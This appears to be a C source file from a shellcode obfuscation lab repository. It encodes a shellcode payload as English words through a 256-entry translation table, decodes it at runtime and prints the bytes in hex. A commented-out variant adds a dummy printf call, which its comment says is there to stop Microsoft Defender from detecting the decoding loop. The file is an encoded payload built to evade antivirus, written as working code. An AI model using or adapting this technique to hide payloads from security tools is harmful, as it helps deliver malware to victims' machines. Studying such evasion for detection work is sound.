mirror of
https://github.com/dobin/ShellcodeObfuscationLab
synced 2026-06-08 13:53:31 +00:00
Dobin Rutishauser
65 lines
16 KiB
C
65 lines
16 KiB
C
#include <windows.h>
|
|
#include <stdio.h>
|
|
|
|
|
|
int main(void)
|
|
{
|
|
|
|
|
|
unsigned char* translation_table[256] = { "slots","whole","ultra","evans","queen","poker","taken","exist","draft","ratio","dylan","aging","notre","paste","adult","remix","alice","tried","verse","villa","dress","issue","sends","piece","paths","court","cisco","forum","punch","meals","witch","craps","hello","cache","terry","kills","vista","weird","jokes","table","mouse","terms","burke","chips","alter","early","asset","tooth","amino","camps","blood","roads","islam","ready","haven","sizes","korea","rules","beast","spent","floyd","jesus","float","dirty","trash","worse","inner","fails","lands","alarm","truth","grass","rooms","meyer","moved","sharp","micro","sanyo","might","major","spray","songs","homes","nepal","kevin","since","giant","devil","milan","state","chess","tampa","solar","merry","locks","brand","aside","being","niger","spank","tumor","cross","marsh","scene","owned","eddie","sandy","goals","rhode","heart","iraqi","outer","funny","mercy","sally","qatar","whose","fever","stage","close","wrist","italy","plaza","bunny","wiley","slope","boots","adopt","suits","color","dover","surge","staff","slave","voted","civil","smith","promo","packs","cents","shall","built","medal","fares","devon","allan","flush","sweet","could","knife","truck","japan","skill","roots","civic","goods","bound","south","sound","scope","aruba","spies","build","tones","bones","lobby","split","plane","named","urban","camel","range","apple","casey","birth","spend","clips","watch","yemen","nasty","mouth","frame","spoke","chain","forms","found","sleep","glory","beats","abuse","smile","among","index","venue","beach","paint","serve","safer","salem","dense","below","class","uncle","jerry","pipes","beans","louis","smoke","beads","crest","price","pixel","fires","taste","ships","maker","falls","choir","years","loads","barry","place","corps","sbjct","filed","sheep","casio","empty","alert","nerve","sunny","every","deals","donor","carey","mazda","grams","logic","light","prime","apply","patch","human","awful","races","admit","toxic","moore","kelly","earth","large","hayes","fifth","buyer","begun","enemy" };
|
|
|
|
unsigned char* translated_shellcode[711] = { "fifth","rooms","surge","alert","apply","deals","pipes","slots","slots","slots","worse","songs","worse","spray","homes","rooms","camps","price","cross","rooms","cents","homes","aside","rooms","cents","homes","paths","rooms","cents","homes","hello","songs","giant","rooms","remix","chain","moved","moved","rooms","cents","sally","spray","sanyo","camps","class","rooms","camps","index","apple","floyd","being","wiley","ultra","alter","hello","worse","venue","class","paste","worse","whole","venue","casio","logic","homes","rooms","cents","homes","hello","cents","inner","floyd","worse","songs","rooms","whole","beads","marsh","color","wrist","paths","aging","ultra","remix","slave","sally","slots","slots","slots","cents","suits","smith","slots","slots","slots","rooms","slave","index","whose","scene","rooms","whole","beads","lands","cents","trash","hello","meyer","whole","beads","cents","rooms","paths","spray","empty","giant","rooms","enemy","class","worse","cents","islam","smith","sanyo","camps","class","rooms","whole","ships","rooms","camps","index","apple","worse","venue","class","paste","worse","whole","venue","korea","filed","fever","patch","micro","evans","micro","vista","draft","alarm","rules","crest","fever","falls","milan","lands","cents","trash","vista","meyer","whole","beads","marsh","worse","cents","notre","rooms","lands","cents","trash","punch","meyer","whole","beads","worse","cents","queen","smith","worse","milan","worse","milan","rooms","whole","beads","locks","state","chess","worse","milan","worse","state","worse","chess","rooms","surge","grams","hello","worse","homes","enemy","filed","milan","worse","state","chess","rooms","cents","verse","donor","sharp","enemy","enemy","enemy","merry","rooms","camps","loads","nepal","meyer","smile","close","eddie","iraqi","eddie","iraqi","cross","whose","slots","worse","giant","rooms","promo","sheep","meyer","dense","beach","micro","close","jokes","exist","enemy","taste","nepal","nepal","deals","funny","slots","slots","slots","sanyo","outer","plaza","eddie","rhode","rhode","being","tooth","ready","asset","amino","hello","mouse","devil","eddie","iraqi","tumor","outer","close","qatar","hello","might","kevin","hello","camps","amino","asset","amino","spent","hello","devil","eddie","iraqi","haven","islam","spent","hello","wrist","haven","islam","terms","hello","worse","funny","funny","rhode","cross","devil","cross","niger","sharp","eddie","whose","tooth","ready","roads","sizes","asset","roads","haven","hello","mouse","sharp","rooms","kevin","sanyo","micro","alter","hello","rhode","eddie","goals","cross","hello","grass","cross","spank","goals","outer","terms","hello","fails","owned","sally","outer","heart","cross","tooth","camps","roads","camps","asset","amino","asset","amino","asset","amino","hello","nepal","being","marsh","being","sally","eddie","tooth","ready","roads","sizes","asset","roads","haven","slots","state","nepal","chess","sanyo","camps","index","sanyo","camps","class","nepal","nepal","meyer","sleep","beast","giant","italy","plane","slots","slots","slots","slots","enemy","taste","deals","alice","slots","slots","slots","camps","rules","blood","asset","camps","haven","korea","asset","camps","rules","amino","asset","camps","roads","islam","slots","chess","rooms","promo","venue","meyer","dense","index","spray","slots","slots","slots","sanyo","camps","class","nepal","nepal","sandy","evans","nepal","meyer","sleep","devil","promo","scope","salem","slots","slots","slots","slots","enemy","taste","deals","sharp","slots","slots","slots","tooth","fever","close","lands","eddie","state","homes","might","sally","spank","heart","plaza","major","sizes","sanyo","brand","fever","funny","qatar","worse","inner","spray","close","sandy","brand","rhode","iraqi","eddie","goals","islam","korea","sizes","brand","grass","being","inner","blood","nepal","sanyo","whose","cross","camps","rhode","sandy","milan","marsh","lands","spray","whose","rules","rules","truth","niger","whose","songs","worse","milan","ready","mercy","giant","niger","camps","homes","eddie","worse","kevin","moved","major","iraqi","mercy","stage","wrist","fever","early","slots","rooms","promo","venue","nepal","chess","worse","milan","sanyo","camps","class","nepal","rooms","forms","slots","ultra","mouse","staff","slots","slots","slots","slots","spray","nepal","nepal","meyer","dense","beach","mazda","since","asset","spent","enemy","taste","rooms","promo","salem","sandy","dylan","brand","nepal","chess","rooms","promo","patch","sanyo","camps","class","sanyo","camps","class","nepal","nepal","meyer","dense","beach","early","taken","paths","bunny","enemy","taste","slave","index","fever","craps","rooms","dense","venue","smith","villa","slots","slots","meyer","sleep","lands","apply","ready","filed","slots","slots","slots","slots","enemy","taste","rooms","enemy","smoke","whose","ultra","mazda","pipes","deals","since","slots","slots","slots","nepal","state","sandy","trash","chess","meyer","promo","crest","venue","casio","alice","meyer","dense","index","slots","alice","slots","slots","meyer","sleep","milan","bones","nepal","nerve","slots","slots","slots","slots","enemy","taste","rooms","sweet","nepal","nepal","rooms","promo","every","rooms","promo","patch","rooms","promo","years","meyer","dense","index","slots","hello","slots","slots","meyer","promo","earth","meyer","sleep","verse","truck","promo","casio","slots","slots","slots","slots","enemy","taste","rooms","surge","serve","hello","slave","index","whose","yemen","marsh","cents","exist","rooms","whole","paint","slave","index","fever","price","milan","paint","milan","sandy","slots","state","meyer","dense","beach","apply","frame","build","giant","enemy","taste" };
|
|
|
|
unsigned char shellcode[711] = {0};
|
|
int sc_len = sizeof(shellcode);
|
|
|
|
printf("Translating shellcode!\n");
|
|
/*
|
|
for loop is defined as such:
|
|
for (int sc_index = 0; sc_index < # of shelcode bytes; sc_index++)
|
|
*/
|
|
for (int sc_index = 0; sc_index < 711; sc_index++) {
|
|
for (int tt_index = 0; tt_index <= 255; tt_index++) {
|
|
//if (translation_table[tt_index] == translated_shellcode[sc_index]) {
|
|
if (strcmp(translation_table[tt_index], translated_shellcode[sc_index]) == 0) {
|
|
shellcode[sc_index] = tt_index;
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
|
|
/* SHELLCODE will look like this:
|
|
unsigned char* translation_table[256] = { "music","taste","wings","audio","endif","winds","crime","bonus","lanka","honey","simon","manor","screw","puppy","surge","watts","upper","dance","touch","heavy","tumor","scale","acute","wider","strap","tooth","colon","karen","fever","quiet","chart","donna","yacht","human","devil","belly","heath","class","shall","these","funds","discs","atlas","dying","arrow","spies","pairs","young","amber","exist","glory","offer","swift","focal","larry","bobby","tires","items","skirt","adult","blond","roman","stick","elvis","slope","scuba","value","lexus","cells","happy","joins","india","yards","smoke","train","bacon","sheet","blink","dairy","latex","feels","guide","shoot","holly","armor","bench","tours","cedar","fires","bands","firms","roads","known","going","mails","speak","laugh","heard","study","logan","packs","level","carey","shirt","loose","tapes","goals","maine","uncle","shine","dense","cases","cache","cards","favor","disks","coins","nokia","enter","fatty","bring","anger","singh","tribe","notre","saint","emily","moses","brown","kathy","busty","squad","gamma","debug","nikon","judge","guest","claim","lobby","bears","maybe","close","basic","catch","alarm","meant","chain","meyer","vital","clock","keith","ports","theme","enjoy","abuse","rooms","pipes","broad","words","outer","point","users","paste","aruba","hairy","spice","taxes","teach","paris","plate","roger","title","stone","gates","texts","smart","trade","berry","worry","photo","tunes","storm","panic","pumps","hello","fuzzy","mouth","joyce","grows","email","teddy","pills","birth","games","pride","skype","meter","yours","lyric","means","picks","diane","wagon","rouge","kevin","focus","scott","dolls","frost","today","small","alpha","track","smith","james","wanna","buses","spots","eight","stuck","indie","clean","weeks","jewel","solve","opens","civic","usage","array","nodes","mason","roots","sugar","dirty","sight","jesus","lloyd","strip","dream","might","tions","grams","brass","hired","julia","crazy","flood","march","combo","drops","delta","shaft","spank","jesse","arena","visit" };
|
|
unsigned char* translated_shellcode[598] = { "spank","yards","squad","array","tions","sugar","kevin","music","music","music","scuba","guide","scuba","feels","shoot","guide","yards","exist","small","tours","level","yards","bears","shoot","laugh","yards","bears","shoot","strap","yards","bears","shoot","yacht","yards","watts","pumps","train","train","yards","bears","favor","feels","blink","exist","diane","yards","exist","birth","stone","blond","heard","notre","wings","arrow","yacht","scuba","games","diane","puppy","scuba","taste","games","civic","strip","shoot","yards","bears","shoot","yacht","scuba","guide","bears","value","blond","yards","taste","frost","carey","kathy","bring","strap","manor","wings","watts","debug","favor","music","music","music","bears","brown","guest","music","music","music","yards","debug","birth","coins","shirt","yards","taste","frost","feels","bears","yards","strap","cells","bears","slope","yacht","smoke","taste","frost","usage","tours","blink","exist","diane","yards","visit","diane","scuba","bears","swift","guest","yards","taste","james","yards","exist","birth","stone","scuba","games","diane","puppy","scuba","taste","games","tires","solve","nokia","grams","sheet","audio","sheet","heath","lanka","happy","items","today","nokia","buses","fires","cells","bears","slope","heath","smoke","taste","frost","carey","scuba","bears","screw","yards","cells","bears","slope","fever","smoke","taste","frost","scuba","bears","endif","guest","scuba","fires","scuba","fires","mails","yards","taste","frost","bands","firms","scuba","fires","scuba","bands","scuba","firms","yards","squad","lloyd","yacht","scuba","shoot","visit","solve","fires","scuba","bands","firms","yards","bears","touch","dirty","bacon","visit","visit","visit","going","yards","exist","stuck","holly","smoke","teddy","fatty","tapes","dense","tapes","dense","level","coins","music","scuba","tours","yards","claim","opens","smoke","means","pride","sheet","fatty","shall","bonus","visit","smith","holly","holly","yards","claim","opens","holly","firms","blink","exist","birth","blink","exist","diane","holly","holly","smoke","mouth","skirt","tours","anger","teach","music","music","music","music","visit","smith","sugar","upper","music","music","music","exist","items","glory","pairs","exist","larry","tires","pairs","exist","items","amber","pairs","exist","offer","swift","music","firms","yards","claim","games","smoke","means","birth","feels","music","music","music","blink","exist","diane","holly","holly","goals","audio","holly","smoke","mouth","cedar","claim","outer","lyric","music","music","music","music","visit","smith","sugar","blink","music","music","music","young","favor","level","happy","enter","packs","packs","goals","larry","cards","dense","train","maine","train","glory","bench","uncle","scuba","packs","larry","shirt","heard","scuba","enter","goals","enter","favor","maine","tapes","holly","lexus","cache","larry","blink","bacon","tours","disks","fires","fires","fatty","favor","dairy","singh","disks","loose","goals","loose","uncle","maine","cells","offer","bacon","logan","value","nokia","larry","scuba","maine","packs","lexus","fires","tires","coins","yards","larry","enter","train","sheet","fires","larry","bacon","shoot","cedar","bench","dense","cedar","music","yards","claim","games","holly","firms","scuba","fires","blink","exist","diane","holly","yards","hello","music","wings","funds","gamma","music","music","music","music","feels","holly","holly","smoke","means","pride","jesus","bench","pairs","adult","visit","smith","yards","claim","lyric","goals","simon","speak","holly","firms","yards","claim","grams","blink","exist","diane","blink","exist","diane","holly","holly","smoke","means","pride","spies","crime","strap","tribe","visit","smith","debug","birth","nokia","donna","yards","means","games","guest","heavy","music","music","smoke","mouth","cells","tions","focal","solve","music","music","music","music","visit","smith","yards","visit","dolls","coins","wings","jesus","kevin","sugar","bench","music","music","music","holly","bands","goals","slope","firms","smoke","claim","today","games","civic","upper","smoke","means","birth","music","upper","music","music","smoke","mouth","fires","hairy","holly","nodes","music","music","music","music","visit","smith","yards","meyer","holly","holly","yards","claim","roots","yards","claim","grams","yards","claim","eight","smoke","means","birth","music","yacht","music","music","smoke","claim","drops","smoke","mouth","touch","keith","claim","civic","music","music","music","music","visit","smith","yards","squad","meter","yacht","debug","birth","coins","worry","carey","bears","bonus","yards","taste","skype","debug","birth","nokia","small","fires","skype","fires","goals","music","bands","smoke","means","pride","tions","storm","paste","tours","visit","smith" };
|
|
|
|
unsigned char shellcode[598] = {0};
|
|
int sc_len = sizeof(shellcode);
|
|
|
|
for (int sc_index = 0; sc_index < 598; sc_index++) {
|
|
printf(""); // Defender is detecting the translation routine ¯\_(ツ)_/¯
|
|
for (int tt_index = 0; tt_index <= 255; tt_index++) {
|
|
if (strcmp(translation_table[tt_index], translated_shellcode[sc_index]) == 0) {
|
|
shellcode[sc_index] = tt_index;
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
*/
|
|
|
|
int idx = 0;
|
|
while ( idx < sizeof(shellcode))
|
|
{
|
|
if (idx == (sizeof(shellcode) - 1) )
|
|
{
|
|
printf("0x%02x ", (unsigned char)shellcode[idx]);
|
|
}
|
|
else
|
|
{
|
|
printf("0x%02x, ", (unsigned char)shellcode[idx]);
|
|
}
|
|
idx++;
|
|
}
|
|
}
|